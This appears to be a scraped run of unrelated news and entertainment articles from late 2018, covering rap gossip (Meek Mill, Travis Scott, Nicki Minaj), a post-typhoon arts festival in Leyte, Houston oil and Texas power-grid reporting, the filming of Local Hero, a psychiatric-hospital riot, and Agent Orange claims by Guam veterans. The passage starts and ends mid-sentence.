reportedly ready with his signature for when the time comes. Before he secured his deal with Rick Ross' MMG, Meek Mill was turning heads with the Flamers mixtape series, supported by Grand Hustle's resident spinster DJ Drama on his Gangsta Grillz platform. The Flamers series laid the foundation for the rapid-fire rapping style Meek fans came to love. My personal fave from that era, "Rose Red," heralded a single voice from a contentious Philadelphia rap climate. The Meek Mill that stands before us today, is no doubt a more complete artist, in every sense of the word. But on Flamers 3, and "Rose Red" in particular, Meek Mill was at his hungriest, even though he was almost certain to pop at any moment, as it happened a year later when he signed with Rozay. Years before Drake versus Meek Mill debates were being staged, the current Philly GOAT was forced to contend with a myriad of competitors looking to steal the heavyweight strap from his grasps - lesser known artists than Cassidy and Gillie Da Kid (combined or on a relative scale). In 2010, drinking Rose was all the rage (still a popular libation in NorthEast, mind you) so Meek Mill made a song about it. It was his way of announcing to the World that he was jumping up a class or two, in weight. Quotable Lyrics: Uhh she's a 5 x 2 I like my rose red and my diamonds blue And she was always on my dick before I met or even knew her I'll be shitin' on all these hatin' rappers like manure Spit on it sit on it get on it shift on it Shorty do some shit on it it's like your life depend on it. Rolling Stone went with Travis Scott as the cover star for its upcoming issue, with an eye on two issues in particular: his thoughts on Kanye West in the dystopian Trump era, and the manner of which he balances his career with his high profile relationship and father duties. The cover story, written by RS resident Jonah Weiner, goes on to describe his deep-seated concerns for his brother-in-law, starting with the G.O.O.D. Music CEOs responsibility to his children, Saint, North, and Chicago. https://www.instagram.com/p/BrnDAFcF7-K "I mean, shit, I'd tell him, 'Bro, chill. What you gotta understand is, young black kids are looking up to you, and the message you used to preach in your earlier music? It'll make a young black kidit'll make any kid confused,'" Scott tells Rolling Stone. "That shit was come on. But when Ye get on some shit, he on some shit. I don't know if that n***a just liked the hat or what, dog. Ye deals with different shit in his life. That's family." Further down in the text, Travis Scott reiterates his desire to support Kanye through hell and high water. "You dont wanna desert your bro. Everybody go through shit," he added. "He still a dope musician. But he's definitely hit me up about it, and I've told him, 'Man, you got kids looking up to you, feel me?'" Who would have pegged Travis Scott as the type to give parental advice in late-2018? Not me! Check out the full editorial right here. San Miguel, Leyte (CNN Philippines Life) Celebrated local act The Itchyworms were headliners at For the Love of Leyte, a non-profit music and arts festival hosted on a sprawling farm in San Miguel, Leyte. At the event, the band attracted over 2,000 attendees, traveling from across the Philippines. The band has performed in Leyte before. In fact, they played the same stage, on the same farm, only 10 months ago. The audience then was much smaller. Kay Veloso-Palisoc and King Palisoc, the newly-wed couple who organized the event in collaboration with One Love Festival UK and The Philippines Foundation, were married in the same high-ceilinged court that was used for the festival. The Itchyworms were at the wedding for the groom, who is a good friend and frequent collaborator. The band was performing a number for the newly-weds when the idea for a music and arts festival was first conceived. Kay remembers thinking, Parang ang sarap ulitin. For The Love of Leyte was designed as a showcase of Leytes artistic industries. Organizers wanted to shine a light on locals working in the informal, creative economy. The idea was to mark what they called the rebirth of the region following the devastation caused by Typhoon Yolanda in 2013. Festival organizer Kay Veloso-Palisoc. She says, "The ultimate goal was that our guests take a piece of Leyte with them." Photo by CEDRIC S. REYES Emma Ayso of the Ginsiyaman weavers. Photo by CEDRIC S. REYES The ultimate goal was that our guests take a piece of Leyte with them, says Kay, gesturing to the large hall that hosted her wedding. For the festival, this private space was converted into Tabo-an ha Ginsiyaman, a pop-up market with over twenty local artisans selling clothing, accessories, and assorted ephemera. Attendees came for the big musical acts, led by The Itchyworms, Ang Bandang Shirley, and Ben&Ben. The festivals performers managed to draw crowds to what was previously a secluded section of rural Leyte. Despite their large following, the bands that flew in from Manila dont hold the true story of Leytes creative scene. And though they are the elite movers that made the festival possible, Manila-based pair Kay Veloso and King Palisoc cannot tell this story either. Leyte's creative economy At the festivals trade market, the different towns of the region were well-represented. Potters from Tanauan, crafters from Bato, and artists from Tacloban all had space at the market. These makers stories reveal the grit that goes into every pot, lamp, and handbag. To truly understand Leytes informal economy, it is necessary to speak with the ones who propel it. Waray potters, weavers, and painters who comprise the informal economy are not regulated by the state. This means that theyre often not taxed for their work, but neither are they afforded standard government protection in the form of insurance, gratuities, or pensions. For these creatives, their output is less about artistic expression and more about satisfying urgent, material needs. Angela Mamolo (left) works on a banig with another member of the Ginsiyaman weavers. Photo by CEDRIC S. REYES A selection of goods from the exhibitors of Tabo-an ha Ginsiyaman. Photo by CEDRIC S. REYES Angela Mamolo, one of the weavers at Ginsiyaman, lives on the farm with her husband and two nephews. Mamolo supplies woven tikog mats, or banig, to social enterprise Abre Linea. For the festival, organizers have seated her and a few other Ginsiyaman weavers on a large banig by the entrance of the large hall. Attendees are welcome to join them for a workshop on weaving to experience the craft firsthand. Mamolo shares that shes been weaving since 2014. After Yolanda, the super typhoon that claimed over 6,000 lives in November 2013, Abre Linea brought experienced weavers from Basey, Samar to train the wives of San Miguels farmers. Mamolo is one of the women they trained. After relief had waned, they needed a source of income, says Anna Veloso Tuazon, co-founder of Abre Linea. They already had what they needed in terms of housing and relief. They needed jobs. Dante Enage, a Tacloban-based artist, opens his tuba-painting workshop with a sample of his work. Photo by CEDRIC S. REYES Home ornaments made of recycled plastic by the women of Bato, Leyte. Photo by CEDRIC S. REYES Before Yolanda and the practice of weaving, Mamolo earned a small income selling small Christmas decorations and doing manicures for other San Miguel residents. Yung asawa ko, nag-aalaga siya ng mga baka. Tapos ako, nasa bahay lang noon, she shares of her life before the storm. Mamolo is a person with disability and requires crutches to walk. She says that weaving has helped secure her familys finances as they fund the schooling of her two nephews, one currently in Grade 3 and another in Grade 6. Hindi mo na mamamalayang nakagawa ka na ng marami, tapos pag nabenta mo na, e malaki na rin. Nakakatulong na. Lalo na sa akin. May pinapaaral akong dalawang pamangkin ko, says Mamolo. A tradition of craftsmanship Unlike Mamolo, potter Dennis Odtuhan of Tanauan, Leyte has been working on his craft even before Yolanda happened. He says hes been making ceramics for over 17 years. Its a trade thats been in his family for even longer. Mga ninuninuan pa niya, marunong na, shares his wife, Maricel. According to Maricel, their town of Tanauan was unrecognizable after Yolanda. Parang hindi na kami magkakakilala, she says. Despite the large number of ceramic crafters in Tanauan, Maricel and Dennis were the first to pick up the clay after the typhoon. Yolanda had wiped out their home, along with any inventory and equipment they had. Maricel says they had no choice but to produce new work if they wanted to feed their children. Yung iba, ayaw pa nila kasi sabi nila, wala namang bibili niyan, she recounts. Sabi ko, kung hindi ako gagawa, anong kakainin namin? Asked if hes ever considered taking up a different job, Dennis explains the difficulty of his occupation. In reality, spinning the potters wheel is only the start of a long, tedious process. After, he must air-dry each mold, which becomes nearly impossible during the rainy season. He then cooks each pot manually, a dangerous job that involves a large, burning furnace. Dennis and Maricel Odtuhan have been making clay ceramics for over 17 years. Photo by CEDRIC S. REYES Ceramic dwarves and figurines by Dennis and Maricel Odtuhan. Photo by CEDRIC S. REYES Dennis tells me in Waray that if only he could find an alternative source of livelihood, he would likely leave pottery behind for good. Kung mayroon lang ibang pagkakakitaan, posibleng iwanan namin ito. Kasi gaya ngayon, umuulan at umaaraw. Hirap kami magpatuyo," he says. Kalaban namin ang ulan. Despite the challenges, Dennis and Maricel make a point of their gratitude to Veloso Tuazon, who consistently forwards opportunities for them to make sales. Lagi niya kaming ini-invite, says Maricel. Mga tatlo o apat na beses na siguro. Tapos binabayaran kami, kahit hindi naman ganun kalaki, okay lang. Bridging the gap News of this complicated production process doesnt normally reach buyers of local crafts. It doesnt help when fairs for local goods, especially those held in Manila, present these goods as highly sanitized, indistinguishable stock that comes from the province. There lies the gap between cheap souvenir and internationally competitive product. Its a view to who makes what we buy that spells the difference. A bright display of home ornaments by the women of Bato, Leyte. Every piece is made of recycled plastic. Photo by CEDRIC S. REYES A showcase of tuba painter Dante Enage's work. Photo by CEDRIC S. REYES Enterprises like Abre Linea and Dennis Odtuhan have done something right by having their crafters work part-time as front-liners. These direct exchanges provide opportunities to glean insight on a commonly untold story. Local crafters like Odtuhan and Mamolo need to tell the stories of their past so they can write new ones for their future. More than just an audience to provide social empowerment, they require a market that gives them fair trade. In the absence of substantial, reliable, and accessible government programs to support these makers, theyve re-established themselves on their own terms. Odtuhan and Mamolo, and are still on their way to true financial independence. In the meantime, their livelihoods are deeply entwined in the affairs of the rich. These are the implications of Leytes rebirth. The working Waray people are collectively picking up the pieces. Here, we see them starting somewhere. From Twitter wars with Safaree Samuels to straight up blocking Meek Mill on Instagram, it's clear that Nicki Minaj has no problem with flexing her hookups, makeups, and breakups on social media. While her brief fling with Nas back in 2017 wasn't hot enough to make the Queens-bred rapper break her self-imposed celibacy vow, it seems that Minaj is now more than willing to pack on the PDA with her new beau, Kenneth "Zoo" Petty. https://www.instagram.com/p/BrL-wSBnqO4 Taking a break from linking up with other top names from the music industry, the "Good Form" rapper has set her sights fully on Petty, even going so far as to clap back at fans who have spoken up about the 40-year-old's controversial past. If you want the full scoop on the man who somehow caught the eye of the multi-millionaire rapper despite having a rap sheet a mile long, look no further-- we've got you covered. https://www.instagram.com/p/BrOPp9FnWVN HIGH SCHOOL SWEETHEARTS Recently, the "LLC" rapper dipped into her past, which explains why Kenneth Petty is completely unknown to both the Barbz and her A-list peers. According to TMZ, a source close to the Young Money rapper revealed that the two used to date when Minaj was 16-year-old, living in Queens, New York. While Minaj is, of course, aware of his troubled past, the source explained that she is "confident he's matured since his time in NY state prison in the late 1990s. Nicki believes in second chances and has faith he'll be good to her." "Nicki and Kenneth still have great chemistry," the source continued, "despite all the years between their relationships. She's much happier since rekindling their romance." As for their recent reconnection, Minaj has her charitable work to thank for that. An additional source revealed to Us Weekly that Petty and Minaj starting talking once again when "she handed out turkeys for Thanksgiving in her hometown." https://www.instagram.com/p/BqiYfFpH3tz CRIMINAL HISTORY Nicki Minaj wasn't exaggerating when she spit the bars, "Cause all I want is karats and some big drug money/I'm only loyal to the niggas that'll bust guns for me" on Queen single "Good Form." No longer interested in men softened by living the high life, Minaj clearly has no problem linking up a with career criminal who spent years doing hard time. To date, Petty has been arrested twelve times for crimes ranging from driving with a suspended license to first-degree attempted rape and first-degree manslaughter. Petty also served seven years of a ten-year sentence handed down in 2006 in the shooting death of a man named Lamont Robinson. As dictated in the official criminal complaint, Petty shot Robinson with a loaded handgin (sic) multiple times thereby causing his death. In addition to this shocking crime, many are up in arms about Petty's 1994 attempted rape conviction. According to the New York State Division of Criminal Justice Services, Petty was convicted of using a "knife/cutting instrument (e.g., ax, ice pick, screwdriver, switchblade, Kung Fu stars, cane sword, etc.) during the attempted rape and sentenced to spend between 18 and 54 months in prison. Still listed as a level two sex offender in New York, Petty will be required to register as a sex offender for the rest of his life. To make matters worse, Minaj hopped on the 'Gram to defend her man's violent crime. "He was 15, she was 16 in a relationship. But go awf Internet. yall cant run my life. Yall cant even run yall own life," said Minaj, clapping back at the dissenters who flooded the comment section of a picture of herself and Petty with digs at his past. https://www.instagram.com/p/BrOOWGqhg9h CURRENT CAREER PATH As Petty has hitched his wagon to Minaj's star, reports have surfaced detailing his interest in becoming a music executive. Allegedly, the two are in talks to produce a number of business deals together. https://www.instagram.com/p/BqoHTV3gaaG EX-GIRLFRIEND DRAMA Apparently, Petty is just as shady in the sheets as he is in the streets. Before suddenly linking up with Minaj, Petty was dating a woman named Noelle before dropping her for the "Chun-Li" rapper. Stepping up to the plate to clap back at a Minaj-centered fan page, Petty's ex cleared the air about what exactly went down between her and her former flame. "Have no problem with her," said Noelle, squashing the rumors about any ill-will she harbors toward the rapper. "But she messing with my man who was living with me!! How he just wake up and chase behind a rapper. I mean I know she famous and all and girls chase rappers all the time. But as a man. My man I wouldn't expect that at all." https://www.instagram.com/p/BrSZGn_lagG Houston and Texas could lose thousands of jobs if oil prices remain below $50 a barrel for an extended period, stalling an energy industry recovery that only a few months ago appeared to be gaining momentum, economists said. The oil sector has found itself in a downward spiral since early October as growing supplies of crude and fears of another global oil glut triggered a 40 percent plunge in prices from a recent high of $76 a barrel down to below $46. Oil settled Thursday at $45.88 a barrel, the lowest since July 2017. Prices of $60 a barrel are considered healthy for the industry, generating enough profits for companies to spend, grow and hire. At $50 a barrel, growth flattens, energy economists said, and below $50, companies begin to scale back spending and hiring. If prices fall below $40, then another prolonged downturn could take hold. It really hurts at $40, said Bill Gilmer, economist at the University of Houstons Institute for Regional Forecasting. Its just amazing how fast (oil has) come down. More Information CE See More Collapse On HoustonChronicle.com: Oil closes below $50 a barrel for first time in more than a year If crude stays well below $50 a barrel for more than 18 months, Gilmer said, then the Houston area could lose anywhere from 10,000 to 20,000 energy-related jobs. That still pales in comparison to the 75,000 to 90,000 jobs lost in the region from late 2014 to 2017 when prices plummeted from more than $100 a barrel to a low of $26. Less than one-third of those jobs have returned since the recovery got underway as oil companies became more efficient and learned to profit by lowering costs and employing fewer workers. Thats why Karr Ingham, an economist for the trade group Texas Alliance of Energy Producers, said he doesnt expect widespread layoffs again. If oil stays below $50 a barrel, it will certainly stop job growth in the Texas energy sector, but it wont mean deep job cuts. This is not catastrophic for Houston or the state of Texas he said. Oil and gas employment is nowhere near where it was in 2014. Theres no cliff to fall off from. But drop in oil prices already appears to be having an effect. The Houston indepdendent oil company ConocoPhillips has said it will keep spending flat in 2019. Producers in West Texas Permina Basin, such as Diamondback Energy and Parsley Energy, said this week that theyre cutting the number of drilling rigs theyre running. The long-struggling oilfield services company Weatherford International, which operates largely out of Houston and employs 28,000 people, just received a delisting warning from the New York Stock Exchange as its shares have traded below $1 a share for an extended period. Weatherfords stock ended Thursday at 25 cents a share. Oil prices were rising into early October over expectations that global supplies would tighten because of falling output from countries such as crisis-ridden Venezuela and U.S. sanctions that would keep Iranian oil off global markets. But the White House opted to give waivers from the sanctions to some of the worlds biggest energy consumers, including China and India, leaving much more Iranian oil on the market. At the same time, the worlds top three producers the United States, Russia and Saudi Arabia pumped out record volumes of oil, more than 11 million barrels per day each. In just over a year, U.S. production surged from 10 million to 11.6 million barrels a day, with the Permian Basin in West Texas accounting for about one-third of all U.S. output. Ingham said that U.S. production is unlikely to fall, meaning, oil prices are unlikely to rebound much next year. We just keep churning out oil here at a pretty spectacular rate, Ingham added. U.S. production isnt going in decline unless something more drastic happens. Related: Energy companies lose $1 trillion in value as crude prices plummet In early December, the Organization of the Petroleum Exporting Countries, Russia and other allies agreed to cut production by 1.2 million barrels a day for the first six months of 2019. That deal helped stop oil prices from cratering, but failed to keep them from falling below $50 a barrel. Concerns about an impending global economic slowdown, which would depress demand, have also added downward pressure on prices. Still, some observers say traders have discounted the impact of the OPEC cuts too much, and they expect oil prices to rise above $50 a barrel relatively early next year. The markets are overreacting, said Patrick Jankowski, senior economist with the Greater Houston Partnership. Big companies will largely do fine with oil at $50 a barrel, he said, although some of the smaller and mid-sized players could struggle if they are carrying high debt loads and the cash flow needed to service that debt dwindles. Global demand is continuing to grow, Jankowski said, and the global economy is projected to slow only slightly in 2019. Oil prices should stay above $50 a barrel for most of next year, he added. With oil over $50, Im not worried at all, Jankowski said. With $40-something oil, Im a little bit worried. If we see oil drop below $40, then Im very worried. jordan.blum@chron.com twitter.com/jdblum23 Texas is heading into summer with the tightest reserve margin on record, a less than comfortable cushion if Texas faces another string of triple-digit temperatures and power generators have problems keeping up with demand. But it turns out that Texas has more power generation at its disposal that can be tapped in extreme conditions, thanks to the states history of hurricanes, floods and other natural disasters. Over the past three years or so, businesses including grocery stores, gas stations, hospitals, shopping malls and factories have invested in back-up power in the form of small natural gas-fired generators, diesel generators and small solar farms. That way, if a tree limb falls on nearby power lines or heavy rains knock out electricity, hospitals can continue to serve patients, gas stations can keep selling gas and grocery stores can protect their frozen inventories and keep cash registers ringing. Businesses have also realized that if they install their own generation capacity, they can make money selling power back to the wholesale electricity market, especially when power prices spike, electricity analysts say. Those sales can offset the cost of installing and maintaining the back-up generators. The generation units popping up around Texas are tiny compared to the big power plants, producing as much as a half megawatt, enough to power about 100 Texas homes during a hot summer day. But add all the small units together and its enough to make a difference during power shortages. The problem? No one really knows how many micro-generators are out there and how much power they can produce. DeAnn Walker, chairman of the Public Utility Commission, asked the states grid manager to do some digging at a recent meeting, after she called next summers projected reserve margin of 8.1 percent very scary. The Electric Reliability Council of Texas, which manages the states grid, has a reserve margin goal of 13.75 percent. We have to have more transparency, as more businesses and homes install power generation capabilities, said Walker. She cited the example of Buc-ees, the unofficial rest area of Texas, as one company producing its own back-up power. Eight Buc-ees locations are outfitted with natural gas-fired generators through a deal with Houston-based microgrid developer Enchanted Rock. HEB also has invested in back-up power, teaming up with Enchanted Rock to install natural gas-fired generators at 97 stores in Texas, according to Enchanted Rock. All together, Enchanted Rock has installed 295 megawatts of generation across Texas, about double what the company had two years ago. Clients like Buc-ees and H-E-B get the power they need when they need it. But when they dont, which is most of the time, Enchanted Rock watches wholesale power prices and starts up the small generators when prices climb to profitable levels. Allan Schurr, Enchanted Rocks chief commercial officer, estimates that the companys generators contribute less than 1 percent of power for ERCOT during peak demand periods.. The entire microgrid industry, he estimated, isnt producing more than five percent. But its hard to know exactly. Some small generators are included in ERCOTs generation data, but others that dont feed the massive transmission lines and keep power within smaller distribution networks arent as easy to count. Another complication is that industrial and commercial operations have financial incentives to reduce electricity use during hot summer days which, to the grid operator, can cut demand so dramatically that it resembles new generation coming on line. Warren Lasher, the senior director of system planning at ERCOT, is charged with trying to calculate how much power Texas can produce during heat waves and cold snaps. His best estimate for now is that micro-generators can produce power in the hundreds of megawatts. Its enough to move the needle, for sure, he said. lm.sixel@chron.com twitter.com/lmsixel The 1980s were a film heavy decade for Houston. Feature films, TV movies and national commercials all shot in abundance, supported by a growing base of technicians and artists working alongside Hollywood and international crews. The movie Local Hero, shot in Houston in 1981 and released domestically in 1983, offered an amazing pedigree of talent, including producer David Putnam, fresh from winning an Academy Award for Chariots of Fire, and Scottish writer/director Bill Forsythe. Starring veteran actor Burt Lancaster as oil magnate Felix Happer, the head of the films fictional Knox Oil and Gas, and Peter Riegert as an acquisitions executive, Local Hero divides its time between Houston and Scotland. Happer wants to buy an entire North Atlantic coastal community to build a refinery. Members of the English cast included Denis Lawson (also known as X-wing pilot Wedge in the original Star Wars trilogy), future Dr. Who actor Peter Capaldi in his second-ever role and Jenny Seagrove as a marine biologist with webbed toes. At its spine, Local Hero posits that Houston breeds uptight fast-paced living while Scotland supports eccentric characters who move at their own velocity. Cinematographer Chris Menges (Oscar winner for subsequent films The Killing Fields and The Mission) provides a unique view that includes cityscapes and night skies. Mark Knopfler, in his first movie credit, composed and performed the music. Too fast on I-45 The opening scene has Riegert sitting in his Porsche during rush hour traffic on Interstate 45 N. with downtown in the background. The background purposely shows the skyline bracketed by Pennzoil Place and the Texas Commerce Tower, for reasons that will become apparent. It was a Friday afternoon around 5 and there were about 10 cars surrounding Riegert being driven by production staff, says Craig Busch, a Houstonian working as a production assistant at the time who now is a location manager with three decades of experience. I was in the car behind him. There was a camera car. The idea was to be caught in stalled traffic. But for some reason the flow was really fast for rush hour, we were going over 35-miles-per-hour, says Busch. The assistant director told all the drivers, on walkie-talkie, to drive slower. But then the police escort behind us told us not to slow down or they would arrest us, recalls Busch. Bob Strauss took on-set photographs during the production. One day Lancaster called him. He needed a photo for Architectural Digest. I went to the hotel he was staying at and took some shots. We were friends after that, remembers Strauss. More than cowboys Local Hero is rated the number 10 movie for 1983 on the website imdb.com. Thats after films like A Christmas Story, Trading Places, and Terms of Endearment, that years best picture winner (also shot in Houston), but way ahead of the two Bond films (Never Say Never Again, Octopussy) released that same year. In 1981, there was no Houston Film Commission, which didnt exist formally until 1987. The Greater Houston Convention and Visitors Bureau handled film liaisons. Location manager Dennis Bishop spent six months securing the settings eventually used in Local Hero. Bishop, after a storied career as a producer, currently heads the KD Conservatory Motion Picture Program in Dallas. When David Putnam sent me the script, they were emulating the television series Dallas. Everybody wore cowboy hats, says Bishop. I wanted to show them a more realistic version of the characters. We would scout these offices, and one entire floor was a reception area with a woman behind a desk and a winding staircase going up to the next floor and with very high ceilings. While Bishop, along with Putnam and associate producer Iain Smith, initially started the search in Dallas, they then found themselves in Houston on a location comparison mixed with a fact-finding mission. We found companies where the executives had fine art, like Picassos, hanging in their offices, says Bishop. Willie Nelson vs. Burt Lancaster Forsythe wanted Willie Nelson to play Happer, while Putnam wanted Lancaster, recalls Bishop. Nelson lost the role by being late for the first meeting and condescending when he did arrive. Happers office suite was edited together from three different locales. At the time the film was shot, the Texas Commerce Tower (now called the JPMorgan Chase Tower) was finishing construction, and the crew transformed the 60th floor, also known as the observation lobby, into portions of Happers office. While the Texas Commerce Tower had select angles of Happers office, the nearby Pennzoil Place offered the kind of multifloor executive suite the filmmakers wanted. Designed by architect Philip Johnson and consisting of dual 500-foot trapezoidal towers, Pennzoil Plaza was named Building of the Decade by the New York Times in 1975. The only cost for shooting at Pennzoil Place was a free screening for the employees, says Bishop. The actual company was Zapata Oil, and the office used was that of George H.W. Bush, then serving his first term as vice president of the United States. The door in his office didnt have knobs on the inside. The only way to open it was a button on the desk, says Bishop. The third version of Happers office was built at a studio in Scotland. One scene has Happers therapist posting a profane message on the slanted windows outside. Large format pictures were taken of the Houston skyline and used to create a background view of the city. They shipped the props to Scotland and re-created the office exactly, says Bishop. The resulting editing renders a seamless version of the office space. Happer has a curious bent for astronomy and keeps in constant communication with Riegert in Scotland. The only phone in town is a red telephone kiosk, the kind so commonly found in the U.K. When Happer finds out the village offers premium views of the aurora borealis, he becomes infatuated with the idea of establishing a research center and observatory. The penultimate shot in Local Hero has Riegert returning to his home (the Willowick Condominiums at Willowick and San Felipe). The camera follows Riegert out to his balcony at night. You can see downtown in the distance, then Riegert turns to the right and reveals Greenway Plaza closer in the distance coming into focus. After a quick fade to black, we cut to the Scottish town and the red phone kiosk near the pier. As the phone rings the film ends. In reality, the phone booth was a prop and removed after the filming. Local Hero has become such a memorable film in Scotland that people take driving tours to the locations. In 2000, the town of Pennan installed an outside red phone kiosk that was dedicated by Knopfler. Michael Bergeron is a Houston-based writer. Houston police dispatched to the troubled Kingwood Pines Hospital last Saturday as at least six teenagers staged a riot inside were barred from entering the building because of their duty weapons. The response by law enforcement to the psychiatric hospital in northeast Harris County over the weekend is now the subject of a Houston Police Department investigation, spokesman Kese Smith confirmed. Boys and girls in the adolescent unit were throwing things against the walls, fighting, screaming and fighting the staff when a panicked employee called 911 around 8:30 p.m. Saturday, according to an initial police report. One employee who spoke to the Houston Chronicle described the ordeal as a riot and said it lasted more than two hours. EARLIER THIS YEAR: Rape allegations at Kingwood Pines, a HoustonChronicle.com investigation At least one Houston police officer and an EMS unit were dispatched to make a welfare check at the Kingwood hospital at 2001 Ladbrook Drive, police said, but no arrests were made. It was not known if anyone patients or staff required medical attention. Smith was unable to elaborate on the nature of the investigation other than to say it would impact several divisions in the police agency. The 116-bed hospital is owned by the for-profit medical chain Universal Health Services and treats adults and children for an array of behavioral issues that include self-harm, depression and suicide attempts. The company bought the Kingwood facility in 2010 and operates more than two dozen hospitals throughout Texas, including four in the Houston area. A UHS spokeswoman did not immediately respond to a request for comment. The hospitals adolescent unit is where the federal Centers for Medicare and Medicaid Services previously warned of low staffing and at least two lawsuits have alleged that two patients sexually assaulted two girls, including a 13-year-old patient struggling with depression. The latest suit filed in January accused hospital administrators of negligence for failing to provide a safe and secure environment for the young patients. COVERING YOUR COMMUNITY: Subscribe to HoustonChronicle.com for in-depth coverage, investigations and analysis on the matters that affect your life. An earlier lawsuit from 2010 has since been settled but included a sworn statement from a Dallas psychiatrist who said there was no indication that adequate or competent staffing was provided by Kingwood Pines when the sexual assault took place. The hospital disputed the claims in both lawsuits. One of the police officers who responded described in radio traffic that 20 minutes after the first call he was unable to enter the unit. They will not let us go inside without relinquishing our firearms, the unidentified officer said, according to the police recording. Were waiting to get an update about whats going on inside there, but right now there is no exigent circumstances involving serious bodily injury or death. But property damage, I think, is going on, he added. In a document titled Responding to the Mentally Ill: A Guide for Texas Peace Officer, which is used to help police officers respond to mental health crises, the Houston Police Department wrote that an officer does not give up or secure his/her firearm while responding to calls for service at hospitals or mental health facilities. Kingwood Pines Hospital CEO Shanti Carter, when reached Tuesday, initially hung up the phone when asked about the Dec. 15 incident. She called back an hour later and said she would send an email. That response was received just before midnight Wednesday. Carter said police were called "to provide assistance in managing a disruption caused by a group of patients on our Adolescent Unit." "Staff requested that Police not enter the unit with their weapons," her statement read. She added that no one "was critically injured" during the incident. An employee who described the incident blamed at least three teens in the boys unit for inciting the brunt of the unrest. Whatever caused them to act out then spread to the girls unit, according to the employee who spoke on the condition of anonymity. Many of the teen girls hid during the incident, she said. They broke all the computers, wrote on the walls, destroyed nursing stations, the employee said. We tried to calm them down. We are trained to de-escalate, but that was way, way over the top. You couldnt de-escalate anything. One of the girls jumped her from behind and started pulling my hair, she said. Another staff member intervened and took her off my back. The employees then locked the door on some of the children to separate the rioting teens from other patients, she said. Let them do whatever they want. This is just material stuff, she said of the damaged equipment. They can do whatever they want so nobody else gets hurt. The decision to prevent police from entering the unit puzzled the staffer and her colleagues because officers previously have responded to incidents at the hospital. An officer in the police call center who spoke to the Chronicle after the incident said the hospital generates a large volume of emergency calls. nicole.hensley@chron.com @nkhensley WASHINGTON - The Veterans Benefits Administration denied Vic Vreelands disability claim even though a VA doctor told him that exposure to Agent Orange while he served in the Air Force in Guam could be the cause of chronic numbness and pain in his hands and feet. It took 609 days from the time the Cedar Creek veteran filed his claim until a rejection notice arrived in August. While he waited, Vreeland created a website that has become a hit among veterans, judging by the more than 100,000 page-views this year. DenyDenyUntilTheyDie.com, its called. If youve got a bullet hole, theyre not going to deny you. But these things you cant see, theyll tell you it didnt happen, said Vreeland, 73, who also suffers from heart disease. Thousands of veterans with similar ailments prepared for a stinging defeat in Congresss waning hours Thursday as two Senators blocked legislation enabling Navy veterans who served on ships during the Vietnam War to claim Agent Orange benefits like those awarded automatically to soldiers and marines who served on the ground. The Senate posture was galling to many veterans because the House had passed the legislation in June 382-0. Veterans fighting the VA over exposure to toxins had reason this year to believe that a new day was at hand when former Department of Veterans Secretary David Shulkin expressed support for their cause. But Shulkin was fired in the spring. Beyond benefiting as many as 90,000 Navy veterans, the legislation was widely viewed as opening a door to veterans of other wars with toxic wounds. They include Gulf war combatants who claim cancers from oil smoke and exploding munitions in Iraq and Afghanistan veterans who attribute their cancers and respiratory problems to the destruction of chemicals, weapons, and even body parts in burn pits. On Thursday morning, a dozen House members flanked by leaders of the American Legion, Veterans of Foreign Wars and veterans advocates made a last-ditch appeal. Senators have to look at one another and ask, how many people are going to die if they have to wait another year for this to pass? asked Rep. David Valadao, R-Calif., a sponsor. The tax-free disability awards veterans seek are calculated according to severity of the condition and can range from $100 monthly up to $2,000. Advocates view the payments as potentially the difference between ailing veterans living in comfort or barely scraping by. Vreeland is among hundreds of veterans who contend that they suffer from cancers, heart ailments and other afflictions from exposure to herbicides while they served at Andersen Air Force Base in Guam, a key U.S. installation since the mid-20th century. With few exceptions, the VA denies their claims for compensation, telling veterans that no records of Agent Orange use or storage on Guam can be found, an analysis of dozens of recent VA rejections shows. Findings by the Government Accountability Office could give an estimated 50,000 Guam veterans more ammunition. The GAO, the investigative arm of Congress, reported last month that a ship carrying drums of Agent Orange docked in Guam. While no records tell what happened to the defoliant, the GAO reported the presence of Agent Orange-like chemicals on the island, as have other studies. For subscribers: Veterans exposed to battlefield burn pits press VA for care and compensation The GAO report offered a reminder that the multi-billion-dollar disaster of Agent Orange from a half-century ago lingers even though the government has paid benefits to nearly 570,000 veterans and 200,000 survivors for Agent Orange-related illnesses, records show. Whats more, the government is spending hundreds of millions of dollars to clean up Agent Orange contamination around the world. Congress appropriated $222 million through last year to clean up hot spots in Vietnam, and a report last month by the Congressional Research Service cited a government estimate that cleaning up a single airfield near Saigon could cost as much as $900 million. The GAO put its finger on the problem of many veterans denied disability benefits: shoddy government record-keeping. The Pentagons record of Agent Orange locations outside of Vietnam is inaccurate and incomplete, the report said. Without a reliable list with complete and accurate information, and a formal process for the Defense Department and VA to coordinate on communicating this information, veterans and the public do not have quality information about the full extent of locations where Agent Orange was present and where exposure could potentially have occurred, the report said. In 1991, president George H.W. Bush signed the Agent Orange Act into law, providing benefits to Vietnam-era veterans with symptoms of 14 ailments associated with exposure to the dangerous defoliant, including cancers and heart disease. An estimated 18-20 million gallons of herbicides including Agent Orange, were sprayed over three million acres of land to destroy enemy cover in Vietnam, Laos and Cambodia in Operation Ranch Hand from 1961-1972. But a decade later, the VA excluded Navy veterans who served on ships offshore, contending there was insufficient evidence their health problems stemmed from their Vietnam service. The bill that passed unanimously in the House was sinking in the Senate under the weight of opposition from the VA. The veterans agency claimed that the legislation could cost the government over $6 billion in the coming decade, require new staff to handle tens of thousands of claims and set a precedent for providing benefits absent clear scientific proof their ailments were war-related. A protest march in Washington this month and a hand-carried plea to the White House asking President Donald Trump to intervene thus far could not overcome concerns of Senate fiscal hawks. On Dec. 10, sponsors failed on the Senate floor to dislodge the bill from committee and pass it unanimously. Two GOP senators Mike Enzi of Wyoming and Mike Lee of Utah invoked a parliamentary procedure that prevented further action, according to veterans advocates. For subscribers: VA efforts to block Agent Orange benefits spark pushback from Navy vets It is dumbfounding to me, said Navy veteran Richard Shafer, of Crosby, a radarman on a ship that anchored in Da Nang Harbor in Vietnam. Like other Navy veterans, he contends that he was poisoned by shipboard water systems polluted by Agent Orange, which the VA disputes. Shafer has suffered from prostate cancer, systemic heart disease and Type 2 diabetes - illnesses associated with Agent Orange - but the VA rejected his compensation claim. This is a cold case, understand, what happened 50-some years ago. The VA is supposed to be an advocate for the veteran. But theyve done everything they can to stop this legislation. Guam Veterans press VA to acknowledge herbicides harm Bill Heilner, of San Antonio, is a Marine veteran who served four years in Guam in the 1980s, advancing to platoon sergeant for a 70-marine guard. He recalls the barren earth from herbicides near the barracks and dead zones abutting the jungle. Heilner, 57, has suffered from an array of health problems he believes resulted from his service, including two types of thyroid cancer, diabetes and multiple tumors, one encapsulated now in a nerve in his cranium. He credits VA 